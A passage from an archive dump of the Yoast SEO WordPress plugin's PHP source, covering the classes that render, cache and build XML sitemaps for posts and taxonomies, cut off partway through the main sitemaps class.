	 * For PHP 7.4 and higher, the magic methods will be used instead.}
	 *
	 * {@internal The Serializable interface is being phased out, in favour of the magic methods.
	 * This method should be deprecated and removed and the class should no longer
	 * implement the `Serializable` interface.
	 * This change, however, can't be made until the minimum PHP version goes up to PHP 7.4 or higher.}
	 *
	 * @link http://php.net/manual/en/serializable.serialize.php
	 * @link https://wiki.php.net/rfc/phase_out_serializable
	 *
	 * @since 5.1.0
	 *
	 * @return string The string representation of the object or null in C-format.
	 */
	public function serialize() {

		return serialize( $this->__serialize() );
	}

	/**
	 * Constructs the object.
	 *
	 * {@internal The magic methods take precedence over the Serializable interface.
	 * This means that in practice, this method will now only be called on PHP < 7.4.
	 * For PHP 7.4 and higher, the magic methods will be used instead.}
	 *
	 * {@internal The Serializable interface is being phased out, in favour of the magic methods.
	 * This method should be deprecated and removed and the class should no longer
	 * implement the `Serializable` interface.
	 * This change, however, can't be made until the minimum PHP version goes up to PHP 7.4 or higher.}
	 *
	 * @link http://php.net/manual/en/serializable.unserialize.php
	 * @link https://wiki.php.net/rfc/phase_out_serializable
	 *
	 * @since 5.1.0
	 *
	 * @param string $data The string representation of the object in C or O-format.
	 *
	 * @return void
	 */
	public function unserialize( $data ) {

		$data = unserialize( $data );
		$this->__unserialize( $data );
	}
}
wordpress-seo/inc/sitemaps/class-sitemaps-renderer.php000064400000022551147510273100017230 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Renders XML output for sitemaps.
 */
class WPSEO_Sitemaps_Renderer {

	/**
	 * XSL stylesheet for styling a sitemap for web browsers.
	 *
	 * @var string
	 */
	protected $stylesheet = '';

	/**
	 * Holds the get_bloginfo( 'charset' ) value to reuse for performance.
	 *
	 * @var string
	 */
	protected $charset = 'UTF-8';

	/**
	 * Holds charset of output, might be converted.
	 *
	 * @var string
	 */
	protected $output_charset = 'UTF-8';

	/**
	 * If data encoding needs to be converted for output.
	 *
	 * @var bool
	 */
	protected $needs_conversion = false;

	/**
	 * Set up object properties.
	 */
	public function __construct() {
		$stylesheet_url       = preg_replace( '/(^http[s]?:)/', '', $this->get_xsl_url() );
		$this->stylesheet     = '<?xml-stylesheet type="text/xsl" href="' . esc_url( $stylesheet_url ) . '"?>';
		$this->charset        = get_bloginfo( 'charset' );
		$this->output_charset = $this->charset;

		if (
			$this->charset !== 'UTF-8'
			&& function_exists( 'mb_list_encodings' )
			&& in_array( $this->charset, mb_list_encodings(), true )
		) {
			$this->output_charset = 'UTF-8';
		}

		$this->needs_conversion = $this->output_charset !== $this->charset;
	}

	/**
	 * Builds the sitemap index.
	 *
	 * @param array<string> $links Set of sitemaps index links.
	 *
	 * @return string
	 */
	public function get_index( $links ) {

		$xml = '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";

		foreach ( $links as $link ) {
			$xml .= $this->sitemap_index_url( $link );
		}

		/**
		 * Filter to append sitemaps to the index.
		 *
		 * @param string $index String to append to sitemaps index, defaults to empty.
		 */
		$xml .= apply_filters( 'wpseo_sitemap_index', '' );
		$xml .= '</sitemapindex>';

		return $xml;
	}

	/**
	 * Builds the sitemap.
	 *
	 * @param array<string> $links        Set of sitemap links.
	 * @param string        $type         Sitemap type.
	 * @param int           $current_page Current sitemap page number.
	 *
	 * @return string
	 */
	public function get_sitemap( $links, $type, $current_page ) {

		$urlset = '<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" '
					. 'xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd '
					. 'http://www.google.com/schemas/sitemap-image/1.1 http://www.google.com/schemas/sitemap-image/1.1/sitemap-image.xsd" '
					. 'xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";

		/**
		 * Filters the `urlset` for all sitemaps.
		 *
		 * @param string $urlset The output for the sitemap's `urlset`.
		 */
		$urlset = apply_filters( 'wpseo_sitemap_urlset', $urlset );

		/**
		 * Filters the `urlset` for a sitemap by type.
		 *
		 * @param string $urlset The output for the sitemap's `urlset`.
		 */
		$xml = apply_filters( "wpseo_sitemap_{$type}_urlset", $urlset );

		foreach ( $links as $url ) {
			$xml .= $this->sitemap_url( $url );
		}

		/**
		 * Filter to add extra URLs to the XML sitemap by type.
		 *
		 * Only runs for the first page, not on all.
		 *
		 * @param string $content String content to add, defaults to empty.
		 */
		if ( $current_page === 1 ) {
			$xml .= apply_filters( "wpseo_sitemap_{$type}_content", '' );
		}

		$xml .= '</urlset>';

		return $xml;
	}

	/**
	 * Produce final XML output with debug information.
	 *
	 * @param string $sitemap Sitemap XML.
	 *
	 * @return string
	 */
	public function get_output( $sitemap ) {

		$output = '<?xml version="1.0" encoding="' . esc_attr( $this->output_charset ) . '"?>';

		if ( $this->stylesheet ) {
			/**
			 * Filter the stylesheet URL for the XML sitemap.
			 *
			 * @param string $stylesheet Stylesheet URL.
			 */
			$output .= apply_filters( 'wpseo_stylesheet_url', $this->stylesheet ) . "\n";
		}

		$output .= $sitemap;
		$output .= "\n<!-- XML Sitemap generated by Yoast SEO -->";

		return $output;
	}

	/**
	 * Get charset for the output.
	 *
	 * @return string
	 */
	public function get_output_charset() {
		return $this->output_charset;
	}

	/**
	 * Set a custom stylesheet for this sitemap. Set to empty to just remove the default stylesheet.
	 *
	 * @param string $stylesheet Full XML-stylesheet declaration.
	 *
	 * @return void
	 */
	public function set_stylesheet( $stylesheet ) {
		$this->stylesheet = $stylesheet;
	}

	/**
	 * Build the `<sitemap>` tag for a given URL.
	 *
	 * @param array<string> $url Array of parts that make up this entry.
	 *
	 * @return string
	 */
	protected function sitemap_index_url( $url ) {

		$date = null;

		if ( ! empty( $url['lastmod'] ) ) {
			$date = YoastSEO()->helpers->date->format( $url['lastmod'] );
		}

		$url['loc'] = htmlspecialchars( $url['loc'], ENT_COMPAT, $this->output_charset, false );

		$output  = "\t<sitemap>\n";
		$output .= "\t\t<loc>" . $url['loc'] . "</loc>\n";
		$output .= empty( $date ) ? '' : "\t\t<lastmod>" . htmlspecialchars( $date, ENT_COMPAT, $this->output_charset, false ) . "</lastmod>\n";
		$output .= "\t</sitemap>\n";

		return $output;
	}

	/**
	 * Build the `<url>` tag for a given URL.
	 *
	 * Public access for backwards compatibility reasons.
	 *
	 * @param array<string> $url Array of parts that make up this entry.
	 *
	 * @return string
	 */
	public function sitemap_url( $url ) {

		$date = null;

		if ( ! empty( $url['mod'] ) ) {
			// Create a DateTime object date in the correct timezone.
			$date = YoastSEO()->helpers->date->format( $url['mod'] );
		}

		$output  = "\t<url>\n";
		$output .= "\t\t<loc>" . $this->encode_and_escape( $url['loc'] ) . "</loc>\n";
		$output .= empty( $date ) ? '' : "\t\t<lastmod>" . htmlspecialchars( $date, ENT_COMPAT, $this->output_charset, false ) . "</lastmod>\n";

		if ( empty( $url['images'] ) ) {
			$url['images'] = [];
		}

		foreach ( $url['images'] as $img ) {

			if ( empty( $img['src'] ) ) {
				continue;
			}

			$output .= "\t\t<image:image>\n";
			$output .= "\t\t\t<image:loc>" . $this->encode_and_escape( $img['src'] ) . "</image:loc>\n";
			$output .= "\t\t</image:image>\n";
		}
		unset( $img );

		$output .= "\t</url>\n";

		/**
		 * Filters the output for the sitemap URL tag.
		 *
		 * @param string $output The output for the sitemap url tag.
		 * @param array  $url    The sitemap URL array on which the output is based.
		 */
		return apply_filters( 'wpseo_sitemap_url', $output, $url );
	}

	/**
	 * Ensure the URL is encoded per RFC3986 and correctly escaped for use in an XML sitemap.
	 *
	 * This method works around a two quirks in esc_url():
	 * 1. `esc_url()` leaves schema-relative URLs alone, while according to the sitemap specs,
	 *    the URL must always begin with a protocol.
	 * 2. `esc_url()` escapes ampersands as `&#038;` instead of the more common `&amp;`.
	 *    According to the specs, `&amp;` should be used, and even though this shouldn't
	 *    really make a difference in practice, to quote Jono: "I'd be nervous about &#038;
	 *    given how many weird and wonderful things eat sitemaps", so better safe than sorry.
	 *
	 * @link https://www.sitemaps.org/protocol.html#xmlTagDefinitions
	 * @link https://www.sitemaps.org/protocol.html#escaping
	 * @link https://developer.wordpress.org/reference/functions/esc_url/
	 *
	 * @param string $url URL to encode and escape.
	 *
	 * @return string
	 */
	protected function encode_and_escape( $url ) {
		$url = $this->encode_url_rfc3986( $url );
		$url = esc_url( $url );
		$url = str_replace( '&#038;', '&amp;', $url );
		$url = str_replace( '&#039;', '&apos;', $url );

		if ( strpos( $url, '//' ) === 0 ) {
			// Schema-relative URL for which esc_url() does not add a scheme.
			$url = 'http:' . $url;
		}

		return $url;
	}

	/**
	 * Apply some best effort conversion to comply with RFC3986.
	 *
	 * @param string $url URL to encode.
	 *
	 * @return string
	 */
	protected function encode_url_rfc3986( $url ) {

		if ( filter_var( $url, FILTER_VALIDATE_URL ) ) {
			return $url;
		}

		$path = wp_parse_url( $url, PHP_URL_PATH );

		if ( ! empty( $path ) && $path !== '/' ) {
			$encoded_path = explode( '/', $path );

			// First decode the path, to prevent double encoding.
			$encoded_path = array_map( 'rawurldecode', $encoded_path );

			$encoded_path = array_map( 'rawurlencode', $encoded_path );
			$encoded_path = implode( '/', $encoded_path );

			$url = str_replace( $path, $encoded_path, $url );
		}

		$query = wp_parse_url( $url, PHP_URL_QUERY );

		if ( ! empty( $query ) ) {

			parse_str( $query, $parsed_query );

			$parsed_query = http_build_query( $parsed_query, '', '&amp;', PHP_QUERY_RFC3986 );

			$url = str_replace( $query, $parsed_query, $url );
		}

		return $url;
	}

	/**
	 * Retrieves the XSL URL that should be used in the current environment
	 *
	 * When home_url and site_url are not the same, the home_url should be used.
	 * This is because the XSL needs to be served from the same domain, protocol and port
	 * as the XML file that is loading it.
	 *
	 * @return string The XSL URL that needs to be used.
	 */
	protected function get_xsl_url() {
		if ( home_url() !== site_url() ) {
			return apply_filters( 'wpseo_sitemap_public_url', home_url( 'main-sitemap.xsl' ) );
		}

		/*
		 * Fallback to circumvent a cross-domain security problem when the XLS file is
		 * loaded from a different (sub)domain.
		 */
		if ( strpos( plugins_url(), home_url() ) !== 0 ) {
			return home_url( 'main-sitemap.xsl' );
		}

		return plugin_dir_url( WPSEO_FILE ) . 'css/main-sitemap.xsl';
	}
}
wordpress-seo/inc/sitemaps/class-taxonomy-sitemap-provider.php000064400000022263147510273100020745 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Sitemap provider for author archives.
 */
class WPSEO_Taxonomy_Sitemap_Provider implements WPSEO_Sitemap_Provider {

	/**
	 * Holds image parser instance.
	 *
	 * @var WPSEO_Sitemap_Image_Parser
	 */
	protected static $image_parser;

	/**
	 * Determines whether images should be included in the XML sitemap.
	 *
	 * @var bool
	 */
	private $include_images;

	/**
	 * Set up object properties for data reuse.
	 */
	public function __construct() {
		/**
		 * Filter - Allows excluding images from the XML sitemap.
		 *
		 * @param bool $include True to include, false to exclude.
		 */
		$this->include_images = apply_filters( 'wpseo_xml_sitemap_include_images', true );
	}

	/**
	 * Check if provider supports given item type.
	 *
	 * @param string $type Type string to check for.
	 *
	 * @return bool
	 */
	public function handles_type( $type ) {

		$taxonomy = get_taxonomy( $type );

		if ( $taxonomy === false || ! $this->is_valid_taxonomy( $taxonomy->name ) || ! $taxonomy->public ) {
			return false;
		}

		return true;
	}

	/**
	 * Retrieves the links for the sitemap.
	 *
	 * @param int $max_entries Entries per sitemap.
	 *
	 * @return array
	 */
	public function get_index_links( $max_entries ) {

		$taxonomies = get_taxonomies( [ 'public' => true ], 'objects' );

		if ( empty( $taxonomies ) ) {
			return [];
		}

		$taxonomy_names = array_filter( array_keys( $taxonomies ), [ $this, 'is_valid_taxonomy' ] );
		$taxonomies     = array_intersect_key( $taxonomies, array_flip( $taxonomy_names ) );

		// Retrieve all the taxonomies and their terms so we can do a proper count on them.

		/**
		 * Filter the setting of excluding empty terms from the XML sitemap.
		 *
		 * @param bool  $exclude        Defaults to true.
		 * @param array $taxonomy_names Array of names for the taxonomies being processed.
		 */
		$hide_empty = apply_filters( 'wpseo_sitemap_exclude_empty_terms', true, $taxonomy_names );

		$all_taxonomies = [];

		foreach ( $taxonomy_names as $taxonomy_name ) {
			/**
			 * Filter the setting of excluding empty terms from the XML sitemap for a specific taxonomy.
			 *
			 * @param bool   $exclude       Defaults to the sitewide setting.
			 * @param string $taxonomy_name The name of the taxonomy being processed.
			 */
			$hide_empty_tax = apply_filters( 'wpseo_sitemap_exclude_empty_terms_taxonomy', $hide_empty, $taxonomy_name );

			$term_args      = [
				'taxonomy'   => $taxonomy_name,
				'hide_empty' => $hide_empty_tax,
				'fields'     => 'ids',
			];
			$taxonomy_terms = get_terms( $term_args );

			if ( count( $taxonomy_terms ) > 0 ) {
				$all_taxonomies[ $taxonomy_name ] = $taxonomy_terms;
			}
		}

		$index = [];

		foreach ( $taxonomies as $tax_name => $tax ) {

			if ( ! isset( $all_taxonomies[ $tax_name ] ) ) { // No eligible terms found.
				continue;
			}

			$total_count = ( isset( $all_taxonomies[ $tax_name ] ) ) ? count( $all_taxonomies[ $tax_name ] ) : 1;
			$max_pages   = 1;

			if ( $total_count > $max_entries ) {
				$max_pages = (int) ceil( $total_count / $max_entries );
			}

			$last_modified_gmt = WPSEO_Sitemaps::get_last_modified_gmt( $tax->object_type );

			for ( $page_counter = 0; $page_counter < $max_pages; $page_counter++ ) {

				$current_page = ( $page_counter === 0 ) ? '' : ( $page_counter + 1 );

				if ( ! is_array( $tax->object_type ) || count( $tax->object_type ) === 0 ) {
					continue;
				}

				$terms = array_splice( $all_taxonomies[ $tax_name ], 0, $max_entries );

				if ( ! $terms ) {
					continue;
				}

				$args  = [
					'post_type'      => $tax->object_type,
					'tax_query'      => [
						[
							'taxonomy' => $tax_name,
							'terms'    => $terms,
						],
					],
					'orderby'        => 'modified',
					'order'          => 'DESC',
					'posts_per_page' => 1,
				];
				$query = new WP_Query( $args );

				if ( $query->have_posts() ) {
					$date = $query->posts[0]->post_modified_gmt;
				}
				else {
					$date = $last_modified_gmt;
				}

				$index[] = [
					'loc'     => WPSEO_Sitemaps_Router::get_base_url( $tax_name . '-sitemap' . $current_page . '.xml' ),
					'lastmod' => $date,
				];
			}
		}

		return $index;
	}

	/**
	 * Get set of sitemap link data.
	 *
	 * @param string $type         Sitemap type.
	 * @param int    $max_entries  Entries per sitemap.
	 * @param int    $current_page Current page of the sitemap.
	 *
	 * @return array
	 *
	 * @throws OutOfBoundsException When an invalid page is requested.
	 */
	public function get_sitemap_links( $type, $max_entries, $current_page ) {
		global $wpdb;

		$links = [];
		if ( ! $this->handles_type( $type ) ) {
			return $links;
		}

		$taxonomy = get_taxonomy( $type );

		$steps  = $max_entries;
		$offset = ( $current_page > 1 ) ? ( ( $current_page - 1 ) * $max_entries ) : 0;

		/** This filter is documented in inc/sitemaps/class-taxonomy-sitemap-provider.php */
		$hide_empty = apply_filters( 'wpseo_sitemap_exclude_empty_terms', true, [ $taxonomy->name ] );
		/** This filter is documented in inc/sitemaps/class-taxonomy-sitemap-provider.php */
		$hide_empty_tax = apply_filters( 'wpseo_sitemap_exclude_empty_terms_taxonomy', $hide_empty, $taxonomy->name );
		$terms          = get_terms(
			[
				'taxonomy'               => $taxonomy->name,
				'hide_empty'             => $hide_empty_tax,
				'update_term_meta_cache' => false,
				'offset'                 => $offset,
				'number'                 => $steps,
			]
		);

		// If there are no terms fetched for this range, we are on an invalid page.
		if ( empty( $terms ) ) {
			throw new OutOfBoundsException( 'Invalid sitemap page requested' );
		}

		$post_statuses = array_map( 'esc_sql', WPSEO_Sitemaps::get_post_statuses() );

		$replacements = array_merge(
			[
				'post_modified_gmt',
				$wpdb->posts,
				$wpdb->term_relationships,
				'object_id',
				'ID',
				$wpdb->term_taxonomy,
				'term_taxonomy_id',
				'term_taxonomy_id',
				'taxonomy',
				'term_id',
				'post_status',
			],
			$post_statuses,
			[ 'post_password' ]
		);

		/**
		 * Filter: 'wpseo_exclude_from_sitemap_by_term_ids' - Allow excluding terms by ID.
		 *
		 * @param array $terms_to_exclude The terms to exclude.
		 */
		$terms_to_exclude = apply_filters( 'wpseo_exclude_from_sitemap_by_term_ids', [] );

		foreach ( $terms as $term ) {

			if ( in_array( $term->term_id, $terms_to_exclude, true ) ) {
				continue;
			}

			$url = [];

			$tax_noindex = WPSEO_Taxonomy_Meta::get_term_meta( $term, $term->taxonomy, 'noindex' );

			if ( $tax_noindex === 'noindex' ) {
				continue;
			}

			$canonical  = WPSEO_Taxonomy_Meta::get_term_meta( $term, $term->taxonomy, 'canonical' );
			$url['loc'] = get_term_link( $term, $term->taxonomy );

			if ( is_string( $canonical ) && $canonical !== '' && $canonical !== $url['loc'] ) {
				continue;
			}

			$current_replacements = $replacements;
			array_splice( $current_replacements, 9, 0, $term->taxonomy );
			array_splice( $current_replacements, 11, 0, $term->term_id );

			//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here.
			//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
			$url['mod'] = $wpdb->get_var(
				//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
				$wpdb->prepare(
					'
			SELECT MAX(p.%i) AS lastmod
			FROM	%i AS p
			INNER JOIN %i AS term_rel
				ON		term_rel.%i = p.%i
			INNER JOIN %i AS term_tax
				ON		term_tax.%i = term_rel.%i
				AND		term_tax.%i = %s
				AND		term_tax.%i = %d
			WHERE	p.%i IN (' . implode( ', ', array_fill( 0, count( $post_statuses ), '%s' ) ) . ")
				AND		p.%i = ''
			",
					$current_replacements
				)
			);

			if ( $this->include_images ) {
				$url['images'] = $this->get_image_parser()->get_term_images( $term );
			}

			// Deprecated, kept for backwards data compat. R.
			$url['chf'] = 'daily';
			$url['pri'] = 1;

			/** This filter is documented at inc/sitemaps/class-post-type-sitemap-provider.php */
			$url = apply_filters( 'wpseo_sitemap_entry', $url, 'term', $term );

			if ( ! empty( $url ) ) {
				$links[] = $url;
			}
		}

		return $links;
	}

	/**
	 * Check if taxonomy by name is valid to appear in sitemaps.
	 *
	 * @param string $taxonomy_name Taxonomy name to check.
	 *
	 * @return bool
	 */
	public function is_valid_taxonomy( $taxonomy_name ) {

		if ( WPSEO_Options::get( "noindex-tax-{$taxonomy_name}" ) === true ) {
			return false;
		}

		if ( in_array( $taxonomy_name, [ 'link_category', 'nav_menu', 'wp_pattern_category' ], true ) ) {
			return false;
		}

		if ( $taxonomy_name === 'post_format' && WPSEO_Options::get( 'disable-post_format', false ) ) {
			return false;
		}

		/**
		 * Filter to exclude the taxonomy from the XML sitemap.
		 *
		 * @param bool   $exclude       Defaults to false.
		 * @param string $taxonomy_name Name of the taxonomy to exclude..
		 */
		if ( apply_filters( 'wpseo_sitemap_exclude_taxonomy', false, $taxonomy_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Get the Image Parser.
	 *
	 * @return WPSEO_Sitemap_Image_Parser
	 */
	protected function get_image_parser() {
		if ( ! isset( self::$image_parser ) ) {
			self::$image_parser = new WPSEO_Sitemap_Image_Parser();
		}

		return self::$image_parser;
	}
}
wordpress-seo/inc/sitemaps/class-sitemaps-cache.php000064400000020423147510273100016461 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Handles sitemaps caching and invalidation.
 *
 * @since 3.2
 */
class WPSEO_Sitemaps_Cache {

	/**
	 * Holds the options that, when updated, should cause the cache to clear.
	 *
	 * @var array
	 */
	protected static $cache_clear = [];

	/**
	 * Mirror of enabled status for static calls.
	 *
	 * @var bool
	 */
	protected static $is_enabled = false;

	/**
	 * Holds the flag to clear all cache.
	 *
	 * @var bool
	 */
	protected static $clear_all = false;

	/**
	 * Holds the array of types to clear.
	 *
	 * @var array
	 */
	protected static $clear_types = [];

	/**
	 * Hook methods for invalidation on necessary events.
	 */
	public function __construct() {

		add_action( 'init', [ $this, 'init' ] );

		add_action( 'deleted_term_relationships', [ self::class, 'invalidate' ] );

		add_action( 'update_option', [ self::class, 'clear_on_option_update' ] );

		add_action( 'edited_terms', [ self::class, 'invalidate_helper' ], 10, 2 );
		add_action( 'clean_term_cache', [ self::class, 'invalidate_helper' ], 10, 2 );
		add_action( 'clean_object_term_cache', [ self::class, 'invalidate_helper' ], 10, 2 );

		add_action( 'user_register', [ self::class, 'invalidate_author' ] );
		add_action( 'delete_user', [ self::class, 'invalidate_author' ] );

		add_action( 'shutdown', [ self::class, 'clear_queued' ] );
	}

	/**
	 * Setup context for static calls.
	 *
	 * @return void
	 */
	public function init() {

		self::$is_enabled = $this->is_enabled();
	}

	/**
	 * If cache is enabled.
	 *
	 * @since 3.2
	 *
	 * @return bool
	 */
	public function is_enabled() {

		/**
		 * Filter if XML sitemap transient cache is enabled.
		 *
		 * @param bool $unsigned Enable cache or not, defaults to true.
		 */
		return apply_filters( 'wpseo_enable_xml_sitemap_transient_caching', false );
	}

	/**
	 * Retrieve the sitemap page from cache.
	 *
	 * @since 3.2
	 *
	 * @param string $type Sitemap type.
	 * @param int    $page Page number to retrieve.
	 *
	 * @return string|bool
	 */
	public function get_sitemap( $type, $page ) {

		$transient_key = WPSEO_Sitemaps_Cache_Validator::get_storage_key( $type, $page );
		if ( $transient_key === false ) {
			return false;
		}

		return get_transient( $transient_key );
	}

	/**
	 * Get the sitemap that is cached.
	 *
	 * @param string $type Sitemap type.
	 * @param int    $page Page number to retrieve.
	 *
	 * @return WPSEO_Sitemap_Cache_Data|null Null on no cache found otherwise object containing sitemap and meta data.
	 */
	public function get_sitemap_data( $type, $page ) {

		$sitemap = $this->get_sitemap( $type, $page );

		if ( empty( $sitemap ) ) {
			return null;
		}

		/*
		 * Unserialize Cache Data object as is_serialized() doesn't recognize classes in C format.
		 * This work-around should no longer be needed once the minimum PHP version has gone up to PHP 7.4,
		 * as the `WPSEO_Sitemap_Cache_Data` class uses O format serialization in PHP 7.4 and higher.
		 *
		 * @link https://wiki.php.net/rfc/custom_object_serialization
		 */
		if ( is_string( $sitemap ) && strpos( $sitemap, 'C:24:"WPSEO_Sitemap_Cache_Data"' ) === 0 ) {
			// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize -- Can't be avoided due to how WP stores options.
			$sitemap = unserialize( $sitemap );
		}

		// What we expect it to be if it is set.
		if ( $sitemap instanceof WPSEO_Sitemap_Cache_Data_Interface ) {
			return $sitemap;
		}

		return null;
	}

	/**
	 * Store the sitemap page from cache.
	 *
	 * @since 3.2
	 *
	 * @param string $type    Sitemap type.
	 * @param int    $page    Page number to store.
	 * @param string $sitemap Sitemap body to store.
	 * @param bool   $usable  Is this a valid sitemap or a cache of an invalid sitemap.
	 *
	 * @return bool
	 */
	public function store_sitemap( $type, $page, $sitemap, $usable = true ) {

		$transient_key = WPSEO_Sitemaps_Cache_Validator::get_storage_key( $type, $page );

		if ( $transient_key === false ) {
			return false;
		}

		$status = ( $usable ) ? WPSEO_Sitemap_Cache_Data::OK : WPSEO_Sitemap_Cache_Data::ERROR;

		$sitemap_data = new WPSEO_Sitemap_Cache_Data();
		$sitemap_data->set_sitemap( $sitemap );
		$sitemap_data->set_status( $status );

		return set_transient( $transient_key, $sitemap_data, DAY_IN_SECONDS );
	}

	/**
	 * Delete cache transients for index and specific type.
	 *
	 * Always deletes the main index sitemaps cache, as that's always invalidated by any other change.
	 *
	 * @since 1.5.4
	 * @since 3.2   Changed from function wpseo_invalidate_sitemap_cache() to method in this class.
	 *
	 * @param string $type Sitemap type to invalidate.
	 *
	 * @return void
	 */
	public static function invalidate( $type ) {

		self::clear( [ $type ] );
	}

	/**
	 * Helper to invalidate in hooks where type is passed as second argument.
	 *
	 * @since 3.2
	 *
	 * @param int    $unused Unused term ID value.
	 * @param string $type   Taxonomy to invalidate.
	 *
	 * @return void
	 */
	public static function invalidate_helper( $unused, $type ) {

		if (
			WPSEO_Options::get( 'noindex-' . $type ) === false
			|| WPSEO_Options::get( 'noindex-tax-' . $type ) === false
		) {
			self::invalidate( $type );
		}
	}

	/**
	 * Invalidate sitemap cache for authors.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return bool True if the sitemap was properly invalidated. False otherwise.
	 */
	public static function invalidate_author( $user_id ) {

		$user = get_user_by( 'id', $user_id );

		if ( $user === false ) {
			return false;
		}

		if ( current_action() === 'user_register' ) {
			update_user_meta( $user_id, '_yoast_wpseo_profile_updated', time() );
		}

		if ( empty( $user->roles ) || in_array( 'subscriber', $user->roles, true ) ) {
			return false;
		}

		self::invalidate( 'author' );

		return true;
	}

	/**
	 * Invalidate sitemap cache for the post type of a post.
	 *
	 * Don't invalidate for revisions.
	 *
	 * @since 1.5.4
	 * @since 3.2   Changed from function wpseo_invalidate_sitemap_cache_on_save_post() to method in this class.
	 *
	 * @param int $post_id Post ID to invalidate type for.
	 *
	 * @return void
	 */
	public static function invalidate_post( $post_id ) {

		if ( wp_is_post_revision( $post_id ) ) {
			return;
		}

		self::invalidate( get_post_type( $post_id ) );
	}

	/**
	 * Delete cache transients for given sitemaps types or all by default.
	 *
	 * @since 1.8.0
	 * @since 3.2   Moved from WPSEO_Utils to this class.
	 *
	 * @param array $types Set of sitemap types to delete cache transients for.
	 *
	 * @return void
	 */
	public static function clear( $types = [] ) {

		if ( ! self::$is_enabled ) {
			return;
		}

		// No types provided, clear all.
		if ( empty( $types ) ) {
			self::$clear_all = true;

			return;
		}

		// Always invalidate the index sitemap as well.
		if ( ! in_array( WPSEO_Sitemaps::SITEMAP_INDEX_TYPE, $types, true ) ) {
			array_unshift( $types, WPSEO_Sitemaps::SITEMAP_INDEX_TYPE );
		}

		foreach ( $types as $type ) {
			if ( ! in_array( $type, self::$clear_types, true ) ) {
				self::$clear_types[] = $type;
			}
		}
	}

	/**
	 * Invalidate storage for cache types queued to clear.
	 *
	 * @return void
	 */
	public static function clear_queued() {

		if ( self::$clear_all ) {

			WPSEO_Sitemaps_Cache_Validator::invalidate_storage();
			self::$clear_all   = false;
			self::$clear_types = [];

			return;
		}

		foreach ( self::$clear_types as $type ) {
			WPSEO_Sitemaps_Cache_Validator::invalidate_storage( $type );
		}

		self::$clear_types = [];
	}

	/**
	 * Adds a hook that when given option is updated, the cache is cleared.
	 *
	 * @since 3.2
	 *
	 * @param string $option Option name.
	 * @param string $type   Sitemap type.
	 *
	 * @return void
	 */
	public static function register_clear_on_option_update( $option, $type = '' ) {

		self::$cache_clear[ $option ] = $type;
	}

	/**
	 * Clears the transient cache when a given option is updated, if that option has been registered before.
	 *
	 * @since 3.2
	 *
	 * @param string $option The option name that's being updated.
	 *
	 * @return void
	 */
	public static function clear_on_option_update( $option ) {

		if ( array_key_exists( $option, self::$cache_clear ) ) {

			if ( empty( self::$cache_clear[ $option ] ) ) {
				// Clear all caches.
				self::clear();
			}
			else {
				// Clear specific provided type(s).
				$types = (array) self::$cache_clear[ $option ];
				self::clear( $types );
			}
		}
	}
}
wordpress-seo/inc/sitemaps/class-sitemaps.php000064400000040503147510273100015421 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Class WPSEO_Sitemaps.
 *
 * @todo This class could use a general description with some explanation on sitemaps. OR.
 */
class WPSEO_Sitemaps {

	/**
	 * Sitemap index identifier.
	 *
	 * @var string
	 */
	public const SITEMAP_INDEX_TYPE = '1';

	/**
	 * Content of the sitemap to output.
	 *
	 * @var string
	 */
	protected $sitemap = '';

	/**
	 * Flag to indicate if this is an invalid or empty sitemap.
	 *
	 * @var bool
	 */
	public $bad_sitemap = false;

	/**
	 * Whether or not the XML sitemap was served from a transient or not.
	 *
	 * @var bool
	 */
	private $transient = false;

	/**
	 * HTTP protocol to use in headers.
	 *
	 * @since 3.2
	 *
	 * @var string
	 */
	protected $http_protocol = 'HTTP/1.1';

	/**
	 * Holds the n variable.
	 *
	 * @var int
	 */
	private $current_page = 1;

	/**
	 * The sitemaps router.
	 *
	 * @since 3.2
	 *
	 * @var WPSEO_Sitemaps_Router
	 */
	public $router;

	/**
	 * The sitemap renderer.
	 *
	 * @since 3.2
	 *
	 * @var WPSEO_Sitemaps_Renderer
	 */
	public $renderer;

	/**
	 * The sitemap cache.
	 *
	 * @since 3.2
	 *
	 * @var WPSEO_Sitemaps_Cache
	 */
	public $cache;

	/**
	 * The sitemap providers.
	 *
	 * @since 3.2
	 *
	 * @var WPSEO_Sitemap_Provider[]
	 */
	public $providers;

	/**
	 * Class constructor.
	 */
	public function __construct() {

		add_action( 'after_setup_theme', [ $this, 'init_sitemaps_providers' ] );
		add_action( 'after_setup_theme', [ $this, 'reduce_query_load' ], 99 );
		add_action( 'pre_get_posts', [ $this, 'redirect' ], 1 );
		add_action( 'wpseo_hit_sitemap_index', [ $this, 'hit_sitemap_index' ] );

		$this->router   = new WPSEO_Sitemaps_Router();
		$this->renderer = new WPSEO_Sitemaps_Renderer();
		$this->cache    = new WPSEO_Sitemaps_Cache();

		if ( ! empty( $_SERVER['SERVER_PROTOCOL'] ) ) {
			$this->http_protocol = sanitize_text_field( wp_unslash( $_SERVER['SERVER_PROTOCOL'] ) );
		}
	}

	/**
	 * Initialize sitemap providers classes.
	 *
	 * @since 5.3
	 *
	 * @return void
	 */
	public function init_sitemaps_providers() {

		$this->providers = [
			new WPSEO_Post_Type_Sitemap_Provider(),
			new WPSEO_Taxonomy_Sitemap_Provider(),
			new WPSEO_Author_Sitemap_Provider(),
		];

		$external_providers = apply_filters( 'wpseo_sitemaps_providers', [] );

		foreach ( $external_providers as $provider ) {
